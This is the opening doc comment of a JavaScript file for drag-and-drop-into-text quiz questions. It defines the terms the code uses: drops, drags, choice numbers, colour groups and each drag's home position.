/**
* JavaScript to make drag-drop into text questions work.
*
* Some vocabulary to help understand this code:
*
* The question text contains 'drops' - blanks into which the 'drags', the missing
* words, can be put.
*
* The thing that can be moved into the drops are called 'drags'. There may be
* multiple copies of the 'same' drag which does not really cause problems.
* Each drag has a 'choice' number which is the value set on the drop's hidden
* input when this drag is placed in a drop.
*
* These may be in separate 'groups', distinguished by colour.
* Things can only interact with other things in the same group.
* The groups are numbered from 1.
*
* The place where a given drag started from is called its 'home'.
